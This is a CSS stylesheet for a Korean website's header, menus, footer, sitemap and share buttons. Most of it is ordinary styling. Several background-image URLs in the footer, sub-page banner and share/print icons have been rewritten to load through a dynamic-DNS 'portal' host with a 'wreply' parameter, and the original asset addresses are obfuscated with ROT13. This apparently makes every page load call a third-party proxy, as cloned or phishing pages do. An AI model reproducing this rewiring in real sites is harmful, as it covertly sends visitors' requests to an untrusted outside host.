@charset "utf-8";
/* CSS Document */


/**** 본문바로가기 ****/
#accessibility {width:100%; text-align: center; background-color:#333; position:absolute; top:-31px; left:0; z-index: 500; height:30px;}
#accessibility a {color:#fff; font-size: 13px; display: inline-block; padding:6px 10px 6px;}

.skip-navi{display:block;position:absolute;left:0;top:0;overflow:hidden;width:1px;height:1px;text-align:center;color:#fff !important;z-index:9999;}
.skip-navi:focus,.skip-navi:active{padding:5px 0;width:100%; color:#fff; height:auto; background:#333}


/**** 본문 ****/
#wrap {position:relative; width:100%; height:100%; overflow: hidden;}


.inner1400 {width:1500px; margin:0 auto; position:relative;}
.inner1400:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}

.inner1750 {width: 100%; height: 100%; max-width: 1750px; margin: 0 auto; display: flex; align-items: top; justify-content: space-between; position: relative; z-index: 2;}

.dpnone {display: none !important;}


@media screen and (max-width:1400px){
	.inner1400 {width:100%; padding:0 10px;}
}
@media screen and (max-width:1750px){
	.inner1750 {width:100%; padding:0 10px;}
}



/**** 헤더 탑 ****/
/* #hd_top {width: 100%; background-color: #dbf1fe; border-bottom: 1px solid #ddd; height: 50px;} */
#hd_top .inner1400 {height: 100%;}

#hd_top .t-menu {margin-top: 18px;}
#hd_top .t-menu:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#hd_top .t-menu > li {float: left; padding: 0 18px; height: 13px; position: relative;}
#hd_top .t-menu > li:first-child {padding-left: 0;}
#hd_top .t-menu > li:last-child {padding-right: 0;}
#hd_top .t-menu > li a {display: block;}
#hd_top .t-menu > li .txt {font-size: 14px; color: #787878; vertical-align: top; display: inline-block; line-height: 13px;}
#hd_top .t-menu > li .icon {vertical-align: top; display: inline-block; line-height: 13px;  margin-top: -3px;}
#hd_top .t-menu > li a:hover .txt,
#hd_top .t-menu > li a:focus .txt {text-decoration: underline; color: #222;}
#hd_top .t-menu > li.siteMap {border-left: 1px solid #ddd; border-right:1px solid #ddd;}
#hd_top .t-menu > li:nth-of-type(2) {padding:0 5px;}

#hd_top .right {height: 100%;}
#hd_top .right:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#hd_top label {line-height: 50px; font-size: 15px; color: #333; font-weight: 400; padding: 0 25px; font-weight: 500; float: left;}
#hd_top .hd_t_search_txt {height: 100%; background-color: #fff; min-width: 304px; display: block; border: none; float: left; font-size: 15px;}
#hd_top .btn_hd_t_search {height: 100%; width: 53px; background-color: #0072bb; float: left; transition: all 0.25s ease;}

#hd_top .btn_hd_t_search:hover,
#hd_top .btn_hd_t_search:focus {background-color: #008be4;}

/*언어선택*/
.hd_t_lan_ul {display:none; position: absolute; left: 0; top: 170%; z-index: 1100; width: 90px; background-color: #fff; border:1px solid #ddd; padding: 10px;}
.hd_t_lan_ul > li {margin-top: 10px;}
.hd_t_lan_ul > li:first-child {margin-top: 0;}
.hd_t_lan_ul > li a {display: block; font-size: 14px; font-weight: 400; color: #555; line-height: 17px;}

.hd_t_lan_ul > li a:hover,
.hd_t_lan_ul > li a:focus {text-decoration: underline; font-weight: 500; color: #222;}

@media screen and (max-width:1100px){
	#hd_top .hd_t_search_txt {min-width:250px;}
}


@media screen and (max-width:1000px){
	/*헤더탑*/
	#hd_top {display:none;}
}



/*********** 헤더 ***********/
/*헤더*/
#hd {width: 100%; position: relative; height: 150px;}

/*헤더 PC*/
#hd .hd-gnb-wrap {width: 100%; height: 100px; overflow:hidden; position: absolute; left: 0; background-color: #fff; z-index: 1000;}
#hd .hd-gnb-wrap.brYellow {height: 100%; border-bottom: 2px solid #0e7bbe; overflow:inherit; position: relative;}


#hd .hd_gnb {width: 100%; height: 100px; position: relative; z-index: 5001; border-bottom: 1px solid #e5e5e5;}
#hd .hd_gnb .inner1400 {height: 100%;}
#hd .hd_gnb .old-logo-b {display:none;}


#hd .hd_gnb .hdDday-b {float: left; /*width: 10%;*/ margin-top:60px; margin-left: 25px;}
.hdDday-b .txt-box {min-width:127px; height:40px; border-radius:20px; background-color:#efefef; text-align:center; border:1px solid #004098; padding: 0 15px;}
.hdDday-b .txt-box span {line-height:38px; font-family: 'Montserrat'; font-weight: bold; font-size: 16px; letter-spacing: 0; color:#0e7bbe;}
.hdDday-b .txt-box span.tx-day {font-size:1.3em;}


#gnb {}
 #gnb > li {width: 12%; text-align: center; position: relative;}
#gnb > li:before {content: ""; width: 4px; height: 4px; border-radius: 50%; background-color: #888; position: absolute; left: 0; top: 50px;}
#gnb > li:first-child:before {width:0; height: 0;}
#gnb > li > a {display: flex; align-items: center; justify-content: center; width: 100%;text-align: center;font-size: 17px;font-weight: 500; position: relative; height: 100px;}/* 대메뉴 다섯개 */
#gnb > li > a:before {content: ""; width: 20%; height: 3px; opacity: 0; background-color: #0e7bbe; position: absolute; left: 0; bottom: 0; transition: all 0.25s ease;}

@media screen and (max-width:1400px){
	#gnb > li > a {font-size: 16px;}
}


.gnb-depth2 {width: 100%; min-height: 280px; text-align: left; background-color: #fff; border-right: 1px solid #ddd; transition: all 0.25s ease; padding: 20px 0px 10px 0;}
#gnb > li:first-child .gnb-depth2 {border-left: 1px solid #ddd;}
.gnb-depth2 > li {position: relative;}
.gnb-depth2 > li:first-child {margin-top: 0;}
 .gnb-depth2 > li > a {display: block; font-size: 16px; line-height: auto; height: auto; color: #444;  padding: 10px 15px 10px 18px; transition: all 0.25s ease;} /*대메뉴 다섯개 */
/*.gnb-depth2 > li > a {display: block;font-size: 15px;line-height: auto;height: auto;color: #444;padding: 10px 10px 10px 12px;transition: all 0.25s ease;}  대메뉴 여섯개 */
.gnb-depth2 > li > a i {font-size: 0.95em; color: #222;}
.gnb-depth2 > li > a:hover,
.gnb-depth2 > li > a:focus {font-weight:500; color: #222; text-decoration: underline; background-color: #f0f0f0;}

.gnb-depth3 {display:none; position: absolute; left: calc(100% - 20px); top: 0; z-index: 500; width: 100%; background-color: #fff; border:1px solid #000; padding: 15px 20px; box-shadow: 2px 2px 5px rgba(0,0,0,0.2); }
.gnb-depth3:before {position:absolute; content:''; display:block; width:0; height:0; border-right:10px solid #000; border-top:6px solid transparent; border-bottom:6px solid transparent; left: -10px;}
.gnb-depth3 > li {margin-top: 7px;}
.gnb-depth3 > li:first-child {margin-top: 0;}
.gnb-depth3 > li > a {font-size: 14px; color: #444;}
.gnb-depth3 > li > a:hover,
.gnb-depth3 > li > a:focus {text-decoration: underline;}
.mn_sub_data { font-size: 17px; color: #245bcf; font-size: 75%; display: block; margin-left: 12%;}

@media screen and (max-width:1400px){
	.gnb-depth2 {padding: 0;}
	.gnb-depth2 > li > a {padding: 8px 10px; font-size: 14px;}
}



/*hover*/
#gnb > li.active > a {font-weight: 600; color: #0e7bbe;}
#gnb > li.active > a:before {width: 100%; opacity: 1;}
#gnb > li.active .gnb-depth2 {background-color: #fff}
.gnb-depth2 > li > a.active {font-weight:500; color: #222; text-decoration: underline; background-color: #f0f0f0;}
.gnb-depth2 > li > a.active + .gnb-depth3 {display: block;}
#hd .hd_gnb .logo-b {display: flex; align-items: center; justify-content: center;}

/*focus*/
#gnb > li > a:focus {font-weight: 600; color: #0e7bbe;}
#gnb > li > a:focus:before {width: 100%; opacity: 1;}
#gnb > li > a:focus + .gnb-depth2 {background-color: #fff}


/*헤더 모바일*/
.hd-mobile-w {display: none;}

/*헤더 모바일*/
.hd-mobile-w {display: none;}

#hd .hd_gnb .gnb-b {width:60%;}
#hd .hd_gnb .gnb-b #gnb {display: flex; align-items: center; justify-content: center;}
#gnb > li {width:17%;}

@media screen and (max-width:1400px){
	#hd .hd_gnb .logo-b img {width: 140px;}
	#hd .hd_gnb .gnb-b {width: 60%;}
	#hd .hd_gnb .hdDday-b {margin-left: 15px;}
	.hdDday-b .txt-box {min-width:auto; height:40px; border-radius:20px;}
	.hdDday-b .txt-box span {font-size: 14px;}
	.hdDday-b .txt-box span.tx-day {font-size:1.2em;}
}



@media screen and (max-width:1000px){
	/*헤더*/
	#hd {height: 120px;}

	/*PC 헤더*/
	#hd .hd-gnb-wrap {display: none;}
  
    #hd .hd_gnb .hdDday-b {display:none;}

	/*모바일 헤더*/
	.hd-mobile-w {display:block; width: 100%; height: 100%; padding: 20px 20px; border-bottom: 1px solid #eee;}
	.hd-mobile-w:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
	.hd-mobile-w .logo-b {float: left; margin-top: -5px;}
	.hd-mobile-w .logo-b img {width: 120px;}
	.hd-mobile-w .menu-btn-b {float: right; margin-top: 2px;}
}



/********* 모바일메뉴 *********/
/*모바일메뉴*/
.black-mobile-menu {display: none;}
#mobile-menu-w {display: none;}



@media screen and (max-width:1000px){	
	/*모바일메뉴*/

	/*검정배경*/
	.black-mobile-menu {display: none; position: fixed; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.7); z-index: 3000;}

	/*메뉴창*/
	#mobile-menu-w {display: block; position: fixed; right: -300px; top: 0; width: 300px; height: 100%; background-color: #fff; z-index: 3100; overflow-y: scroll;}

	/*탑메뉴*/
	#mobile-menu-w .top-m {width: 100%; position: relative; background-color: #fecc0d;}
	#mobile-menu-w .top-m:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
	
	#mobile-menu-w .mo-t-menu-ul {float: left; width: calc(100% - 50px);}
	#mobile-menu-w .mo-t-menu-ul > li {float: left; width: 33.33%; border-left:1px solid #ffe276; position: relative; border-top: 1px solid #ffe276;}
	#mobile-menu-w .mo-t-menu-ul > li:first-child {border-left: none;}
	#mobile-menu-w .mo-t-menu-ul > li:nth-of-type(1) {border-top: none;}
	#mobile-menu-w .mo-t-menu-ul > li:nth-of-type(2) {border-top: none;}
	#mobile-menu-w .mo-t-menu-ul > li:nth-of-type(3) {border-top: none;}
	#mobile-menu-w .mo-t-menu-ul > li  > a {display: block; line-height: 60px; text-align: center; font-size: 14px; color: #555; font-weight: 500;}

	#mobile-menu-w .mo-lan-ul {display:none; position:absolute; left:0; top:100%; width: 100%; background-color: #fff; border:1px solid #ddd; border-top: none; padding: 10px;}
	#mobile-menu-w .mo-lan-ul li {margin-top: 10px;}
	#mobile-menu-w .mo-lan-ul li:first-child {margin-top: 0;}
	#mobile-menu-w .mo-lan-ul li a {display: block; font-size: 13px; font-weight: 500;}

	#mobile-menu-w .clo-b {float: right; width:50px; height: 60px;}
	#mobile-menu-w .btn-close {display: block; width: 100%; height: 100%; background-color: #555; transition: all 0.25s ease;}
	#mobile-menu-w .btn-close i {color: #fff; font-size: 20px;}

	/*검색창*/
	#mobile-menu-w .sear-b {width: 100%; height: 55px;}
	#mobile-menu-w .sear-b:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
	#mobile-menu-w .mo-me-sear-txt {display: block; float: left; width: 75%; height: 100%; border: none; font-size: 14px; border-bottom: 1px solid #e0e0e0;}
	#mobile-menu-w .mo-me-sear-btn {display: block; float: left; width: 25%; height: 100%; background-color: #7d7d7d; color: #fff; font-size: 14px;}
	
	/*메인메뉴*/
	#mobile-menu-w .menu-b {width: 100%;}
	#mo-gnb {width: 100%;}
	#mo-gnb > li {width: 100%; border-bottom: 1px solid #e0e0e0;}
	#mo-gnb > li > a {display: block; width: 100%; padding: 15px 20px;}
	#mo-gnb > li > a:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
	#mo-gnb > li > a .txt {float: left; font-size: 15px; font-weight: 500;}
	#mo-gnb > li > a .icon {float: right; border:1px solid #aaa; width: 22px; text-align: center;}
	#mo-gnb > li > a .icon i {font-size: 13px; color: #555;}
	
	.mo-gnb-depth2 {display:none; width: 100%; border-top: 1px solid #e0e0e0; background-color: #f0f0f0;}
	.mo-gnb-depth2 > li {border-bottom: 1px solid #e0e0e0; position: relative;}
	.mo-gnb-depth2 > li.add-a:before {content: '\25BC'; position: absolute; right: 15px; top:12px; color: #aaa; font-size: 10px; }
	.mo-gnb-depth2 > li:last-child {border-bottom: none;}
	.mo-gnb-depth2 > li > a {display: block; padding: 12px 30px 11px 25px; font-size: 14px; color: #797979; position: relative;}
	.mo-gnb-depth2 > li > a i {position: absolute; right: 24px; top: 13px; font-size: 16px; transition: all 0.25s ease;}
	.mo-gnb-depth2 > li > a.active i {transform: rotate(180deg);}

	.mo-gnb-depth3 {display:none; background-color: #6d6d6d; padding: 5px 20px 5px 30px;}
	.mo-gnb-depth3 > li {margin: 10px 0px;}
	.mo-gnb-depth3 > li > a {font-size: 14px; color: #ddd; display: block;}

  			.mo-gnb-depth4 {
				display: none;
				background:	antiquewhite;
				margin: 10px 0px;
				padding: 10px 25px;
				border-radius: 25px;
			}

			.mo-gnb-depth4 > li{
				margin: 5px 0px;
				font-size: 12px;
			}

			.mo-gnb-depth4 > li:hover{
				text-decoration: underline;
			}

			.mo-gnb-depth4 > li > a{
				display: block;
			}
	#mo-gnb > li.active > a .txt {color: #e45b0b;}
}




/**** 유관링크 ****/ 
#main-relate-banner {width: 100%; padding: 42px 0 40px;}
#main-relate-banner .inner1400 {}
#main-relate-banner .lb {float: left; width: 20%; padding: 14px 10px 0 0;}
#main-relate-banner .lb:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#main-relate-banner .rb {float: right; width: 80%; padding-left: 10px;}

#main-relate-banner .btn-ul {float: left;}
#main-relate-banner .btn-ul:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#main-relate-banner .btn-ul li {float: left; width: 35px; height: 35px; border:1px solid #ddd; margin-left: -1px; }
#main-relate-banner .btn-ul li button {display: block; width: 100%; height: 100%;}
#main-relate-banner .btn-ul li button i {color: #999;}
#main-relate-banner .btn-ul li button img {vertical-align: middle;}
#main-relate-banner .btn-ul li .btn-mb-r.pause img {margin-top: -3px;}

#main-relate-banner .lb h3 {float: left; line-height: 35px; font-size: 17px; color: #444; padding: 0 10px; font-weight: 500;}

#main-relate-banner .ma-relate-slide {}
#main-relate-banner .ma-relate-slide .one { padding-left: 1px;}
#main-relate-banner .ma-relate-slide .one a {display: block; height: 62px; border:1px solid #ddd; text-align: center; padding-top: 7px; transition: all 0.25s ease;}
#main-relate-banner .ma-relate-slide .one a:hover {border-color:#3e437b;}
#main-relate-banner .ma-relate-slide .one a:focus {border: 2px solid red;}



@media screen and (max-width:1170px){
	#main-relate-banner .lb h3 {font-size: 16px; padding: 0 5px;}
	#main-relate-banner .lb {padding-top: 5px;}
}

@media screen and (max-width:1000px){	
	/**** 유관링크 ****/ 
	#main-relate-banner {padding: 25px 10px 22px;}
	#main-relate-banner .inner1400 {}
	#main-relate-banner .lb {float: none; width: 100%; padding: 0px 0px 15px 2px;}
	#main-relate-banner .rb {float: none; width: 100%; padding-left: 0;}

	#main-relate-banner .btn-ul {}
	#main-relate-banner .btn-ul li {width: 25px; height: 25px;}
	#main-relate-banner .btn-ul li button {}
	#main-relate-banner .btn-ul li button i {font-size: 12px;}
	#main-relate-banner .btn-ul li button img {vertical-align: middle;}
	#main-relate-banner .btn-ul li .btn-mb-r.pause img {margin-top: -3px; width: 7px;}

	#main-relate-banner .lb h3 {line-height: 25px; font-size: 14px;}

	#main-relate-banner .ma-relate-slide {}
	#main-relate-banner .ma-relate-slide .one {}
	#main-relate-banner .ma-relate-slide .one a {height: 50px; padding: 7px 20px; overflow: hidden;}
	#main-relate-banner .ma-relate-slide .one a:focus {border: 1px solid red;}
}






/*********** 풋터 ***********/
#ft {width: 100%; background-color: #1f3a4f; padding: 40px 0 40px;}

#ft .lb {float: left;}
#ft .rb {float: right;}

#ft .ft-menu {margin:0 0 23px;}
#ft .ft-menu:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#ft .ft-menu li {float: left; height: 15px; border-left: 1px solid #8095a7; padding: 0 25px;}
#ft .ft-menu li:first-child {border-left: none; padding-left: 0;}
#ft .ft-menu li:last-child {padding-right: 0;}
#ft .ft-menu li a {display: block; line-height: 15px; font-size: 15px; color: #dfe1e3; transition: all 0.25s ease;}
#ft .ft-menu li a:hover,
#ft .ft-menu li a:focus {color: #fff; text-decoration: underline;}

#ft address {font-size: 14px; color: #8095a7; line-height: 1.7; letter-spacing: 0;}

#ft .ft-sns {float: right; margin:0 0 10px;}
#ft .ft-sns:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
#ft .ft-sns li {float: left; padding:0 5px;}
#ft .ft-sns li:last-child {padding-right: 0;}
#ft .ft-sns li a {}
#ft .ft-sns li a i {font-size: 25px; color: #8096a8; transition: all 0.25s ease;}
#ft .ft-sns li a:hover i,
#ft .ft-sns li a:focus i {color: #fff;}

#ft .ft-select {display: block; clear: both; min-width: 190px; height: 40px; border:1px solid #8095a7; background-color: transparent !important; color: #8095a7; font-size: 14px; padding: 0 10px; background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_zn_fryrpg_neebj.cat')}



@media screen and (max-width:1000px){	L
	/****** 풋터 ******/
	#ft {padding: 30px 15px 30px;}

	#ft .lb {float: none; width: 100%;}
	#ft .rb {float: none; width: 100%; margin-top: 15px; text-align: center;}

	#ft .ft-menu {margin:0 0 15px;}
	#ft .ft-menu li {height: 13px; padding: 0 7px;}
	#ft .ft-menu li a {line-height: 13px; font-size: 13px;}

	#ft address {font-size: 12px;}

	#ft .ft-sns {float: none; display: inline-block; margin:0 0 10px;}
	#ft .ft-sns li a i {font-size: 20px;}

	#ft .ft-select {min-width: 100%; height: 33px; font-size: 12px; padding: 0 10px;}
}





/*********** 사이트맵 ***********/
.black-siteMap {display:none; position: fixed; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.7); z-index: 1500;}
#siteMap-wrap {display:none; position: fixed; left: 0; top: 0; width: 640px; height: 100%; background-color: #fff; z-index: 1600; overflow-y: scroll; padding: 66px 45px 5px 50px;}
#siteMap-wrap .btn-site-clo {position: absolute; right: 43px; top: 60px;}
#siteMap-wrap .btn-site-clo i {font-size: 45px; color: #555;}

#siteMap-wrap .top-title {margin-bottom: 40px;}
#siteMap-wrap .top-title h3 { font-family: 'Montserrat'; font-weight: 500; font-size: 15px; color: #6d6e71; line-height: 20px;}
#siteMap-wrap .top-title h1 { font-family: 'Montserrat'; font-size: 20px; font-weight:600; color: #033333; line-height: 25px;}

#siteMap-wrap .cont-box {}
#siteMap-wrap .cont-box .one {margin-bottom: 48px;}
#siteMap-wrap .cont-box .one .name {margin: 0 0 20px; border-bottom: 1px solid #ddd;}
#siteMap-wrap .cont-box .one .name h4 {font-size: 19px; font-weight: 600; color: #715c53; display: inline-block; padding-bottom: 10px; position: relative;}
#siteMap-wrap .cont-box .one .name h4:before {content: ""; width: 100%; height: 3px; position: absolute; left: 0; bottom: -2px; background-color: #fecc0d;}
#siteMap-wrap .cont-box .one .menu-b {}
#siteMap-wrap .cont-box .one .menu-b ul {}
#siteMap-wrap .cont-box .one .menu-b ul li {display: inline-block; margin:0 11px 5px;}
#siteMap-wrap .cont-box .one .menu-b ul li:first-of-type {margin-left: 0;}
#siteMap-wrap .cont-box .one .menu-b ul li a {font-size: 16px; color: #444;}
#siteMap-wrap .cont-box .one .menu-b ul li a:hover,
#siteMap-wrap .cont-box .one .menu-b ul li a:focus {font-weight: 500; color: #715c53; text-decoration: underline;}



@media screen and (max-width:1000px){	
	.black-siteMap {display:none;}
	#siteMap-wrap {display:none;}
}







/*********** 서브 탑 ***********/
/*서브탑*/
#sub-top-wrap {width: 100%; height: 285px; position: relative; background-size: cover; background-repeat: no-repeat; background-position: center center; background-color: #ddd; padding-top: 1px;}

/*배경*/
#sub-top-wrap.n00 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Sfho%2Svzt_fho_gbc_01.wct');}

/*텍스트*/
#sub-top-wrap .txt-b {text-align: center; margin-top: 75px;}
#sub-top-wrap .txt-b .l-b {display: inline-block; vertical-align: middle; text-align: right;}
#sub-top-wrap .txt-b .r-b {display: inline-block; vertical-align: middle; text-align: left; padding-left: 17px;}
#sub-top-wrap .txt-b h2 {font-family: 'Montserrat'; font-weight: 600; color: rgba(255,255,255,0.7); font-size: 25px; line-height: 29px; letter-spacing: 0;}
#sub-top-wrap .txt-b h2 br {line-height: 29px;}
#sub-top-wrap .txt-b h3 {font-weight: 500; color: rgba(255,255,255,0.7); font-size: 25px; line-height: 29px; letter-spacing: -0.03em;}
#sub-top-wrap .txt-b h4 { color: rgba(255,255,255,0.7); font-size: 14px; line-height: 20px; letter-spacing: -0.03em;}
#sub-top-wrap .txt-b .line {width: 25px; height: 1px; background-color: rgba(255,255,255,0.7); margin:5px 0;}

/*메뉴*/
#sub-top-wrap .menu-b {position: absolute; left: 0; bottom: 0; width:100%; height: 60px;}
#sub-top-wrap .menu-b .inner1400 {height: 100%; background-color: #f5f5f5; padding-right: 25px; border-bottom: 1px solid #e4e4e4;}
#sub-top-wrap .menu-b .left {height: 100%;}
#sub-top-wrap .menu-b .right {height: 100%;}
#sub-top-wrap .menu-b .btn-b {display: inline-block; vertical-align: middle; line-height: 60px; margin-left: 5px;}
#sub-top-wrap .menu-b .name {display: inline-block; vertical-align: middle; margin-right: 7px; font-size: 14px; color: #222;}

.sub-t-menu-ul {background-color: #fff; height: 100%;}
.sub-t-menu-ul:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
.sub-t-menu-ul > li {float: left; height: 100%; border-right: 1px solid #e4e4e4; line-height: 60px; position: relative; min-width: 200px;}
.sub-t-menu-ul > li.home {min-width: 61px; text-align: center;}
.sub-t-menu-ul > li.home img {vertical-align: middle;}
.sub-t-menu-ul > li > a {display: block; height: 100%; padding: 0 15px; line-height: 60px;}
.sub-t-menu-ul > li > a .txt {float:left; font-size: 15px; color: #333; line-height: 60px;}
.sub-t-menu-ul > li > a .icon {float: right; line-height: 60px;}
.sub-t-menu-ul > li > a .icon i {transition: all 0.25s ease;}
.sub-t-menu-ul > li > a.active .txt {text-decoration: underline; color: #715c53; font-weight: 500;}
.sub-t-menu-ul > li > a.active .icon i {transform: rotate(180deg);}
.sub-t-menu-ul > li:last-child > a > span.txt {color:#0e7bbe;}

.sub-t-me-depth2 {display:none; position: absolute; left: -1px; top: 100%; width: calc(100% + 2px); background-color: #fff; border:1px solid #e4e4e4; z-index: 1010; padding: 15px 20px;}
.sub-t-me-depth2 > li {margin-top: 10px;}
.sub-t-me-depth2 > li:first-child {margin-top: 0;}
.sub-t-me-depth2 > li a {font-size: 14px;}
.sub-t-me-depth2 > li a:hover,
.sub-t-me-depth2 > li a:focus {font-weight: 500; text-decoration: underline;}


@media screen and (max-width:1400px){
	#sub-top-wrap .menu-b .inner1400 {padding: 0 10px 0 0;}
}

@media screen and (max-width:1000px){
	/*서브탑*/
	#sub-top-wrap {height: 250px;}

	/*텍스트*/
	#sub-top-wrap .txt-b {margin-top: 40px; padding: 0 40px;}
	#sub-top-wrap .txt-b .l-b {display: block; width: 100%; text-align: center;}
	#sub-top-wrap .txt-b .r-b {display: block; width: 100%; text-align: center; padding-left: 0;}
	#sub-top-wrap .txt-b h2 {font-size: 19px; line-height: 23px; margin-bottom: 10px;}
	#sub-top-wrap .txt-b h2 br {display: none;}
	#sub-top-wrap .txt-b h3 {font-size: 17px; line-height: 20px; margin-bottom: 10px;}
	#sub-top-wrap .txt-b h4 {font-size: 13px; line-height: 18px;}
	#sub-top-wrap .txt-b h4 br {display: none;}
	#sub-top-wrap .txt-b .line {display: none;}

	/*메뉴*/
	#sub-top-wrap .menu-b {height: 50px;}
	#sub-top-wrap .menu-b .inner1400 {padding-right: 0;}
	#sub-top-wrap .menu-b .left {width: calc(100% - 50px);}
	#sub-top-wrap .menu-b .right {width: 50px; text-align: center;}
	#sub-top-wrap .menu-b .btn-b {line-height: 50px;}
	#sub-top-wrap .menu-b .name {display: none;}

	.sub-t-menu-ul {background-color: #fff;}
	.sub-t-menu-ul > li {min-width:auto; width: calc(50% - 20px);}
	.sub-t-menu-ul > li.home {min-width:auto; width: 40px;}
	.sub-t-menu-ul > li.home img {width: 12px;}
	.sub-t-menu-ul > li > a {padding: 0 10px; line-height: 50px;}
	.sub-t-menu-ul > li > a .txt {font-size: 12px; vertical-align: top; line-height: 1.2; margin-top: 18px; width: calc(100% - 10px);}
	.sub-t-menu-ul > li > a .icon {float: right; line-height: 50px; width: 10px;}
	.sub-t-menu-ul > li > a .icon i {font-size: 10px;}

	.sub-t-me-depth2 {padding: 10px 15px;}
	.sub-t-me-depth2 > li {margin-top: 8px;}
	.sub-t-me-depth2 > li a {font-size: 12px;}

}




/*********  서브 SNS  *********/

/*sns share 박스*/
.sns-share-box {display:none; position: absolute; right:0; top: 99%; background-color:#fff; z-index: 5000; border:1px solid #ddd; padding:15px; width: 300px; }
.sns-share-box .row {margin:7px 0 0;}
.sns-share-box .row:first-of-type {margin-top:0;}
.sns-share-box .tit {float:left; padding-top: 6px; width:22%; font-size: 13px; font-weight: 500;  padding-left: 3px;}
.sns-share-box .sns-b-ul {float:left;}
.sns-share-box .sns-b-ul:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
.sns-share-box .sns-b-ul li {float:left; margin:0 3px;}
.sns-share-box .sns-b-ul li a {display: block;}
.sns-share-box .sns-b-ul li a .icon {display: block; width: 29px; height: 29px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_fho_faf_01.wct'); background-repeat: no-repeat;}
.sns-share-box .sns-b-ul li a .icon.face {background-position: 0 0;}
.sns-share-box .sns-b-ul li a .icon.twitter {background-position: -29px 0;}
.sns-share-box .sns-b-ul li a .icon.google {background-position: -58px 0;}
.sns-share-box .sns-b-ul li a .icon.kakao {background-position: -87px 0;}
.sns-share-box .sns-b-ul li a .icon.band {background-position: -116px 0;}
.sns-share-box .clo-b {float: right; margin:5px 0 0 10px;}
.sns-share-box .clo-b i {font-size: 18px;}
.sns-share-box .url-box {float:left; width: 60%; background-color:#fff; border:1px solid #ddd; font-size: 14px; padding:5px 10px;  overflow:hidden; white-space:nowrap; text-overflow:ellipsis; letter-spacing: 0; border-radius: 3px;}
.sns-share-box .btn-copy {float:right; display: block; width: 16%; margin-left: 2%; background-color:#555; border-radius: 3px; color:#fff; height: 30px; font-size: 12px; }


/*sns print 버튼*/
.btn-s-t {width: 38px; height: 38px; background-color: #fff; border:1px solid #ddd; text-align: center; border-radius: 50%; transition: all 0.2s ease;}
.btn-s-t span {display: inline-block; margin:3px 0 0 2px; width: 19px; height: 18px; background-position: 0 0;}
.btn-s-t span.snsIcon {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_fho_pba_funer.cat');}
.btn-s-t span.print {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_fho_pba_cevag.cat');}
.btn-s-t:hover,
.btn-s-t:focus {background-color: #99ca3b; border-color: #99ca3b;}
.btn-s-t:hover span,
.btn-s-t:focus span {background-position: -19px 0;}
.btn-s-t.on {background-color: #99ca3b; border-color: #99ca3b;}
.btn-s-t.on span {background-position: -19px 0;}

/*font-size 버튼*/
.font-icon {}
.font-icon ul {height: 38px; background-color: #e7e8ea; border-radius: 20px; padding: 0 13px 0 15px;}
.font-icon ul:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
.font-icon ul li {padding-top: 8px; float: left; margin:0 5px;}
.font-icon ul li button {transition: all 0.2s ease;}
.font-icon ul li button:hover,
.font-icon ul li button:focus {color: #99ca3b; }
.font-icon ul li button:hover i,
.font-icon ul li button:focus i {color: #99ca3b; }


.btn-b.sns-icon {position: relative;}


@media screen and (max-width:1000px){	

	/*sns share 박스*/	
	.sns-share-box {right:0; top: 98%; background-color:#fff; z-index: 5000; border:1px solid #ddd; padding:15px 10px; width: 300px; }
	.sns-share-box .row {}
	.sns-share-box .tit {padding-top: 3px; font-size: 12px; padding-left: 3px;}
	.sns-share-box .sns-b-ul li {}
	.sns-share-box .sns-b-ul li a .icon {width: 22px; height: 22px; background-size: 110px auto;}
	.sns-share-box .sns-b-ul li a .icon.face {background-position: 0 0;}
	.sns-share-box .sns-b-ul li a .icon.twitter {background-position: -22px 0;}
	.sns-share-box .sns-b-ul li a .icon.google {background-position: -44px 0;}
	.sns-share-box .sns-b-ul li a .icon.kakao {background-position: -66px 0;}
	.sns-share-box .sns-b-ul li a .icon.band {background-position: -88px 0;}
	.sns-share-box .clo-b {float: right; margin:2px 10px 0 10px;}
	.sns-share-box .clo-b i {font-size: 15px;}
	.sns-share-box .url-box {font-size: 11px; padding:5px 10px;}
	.sns-share-box .btn-copy {height: 26px; font-size: 11px; }

	/*sns print 버튼*/
	.btn-s-t {width: 30px; height: 30px;}
	.btn-s-t span {margin:3px 0 0 2px; width: 15px; height: 15px; background-size: 30px auto;}
	.btn-s-t:hover span,
	.btn-s-t:focus span {background-position: -15px 0;}
	.btn-s-t.on span {background-position: -15px 0;}

	/*font-size 버튼*/
	.font-icon { display: none !important; }
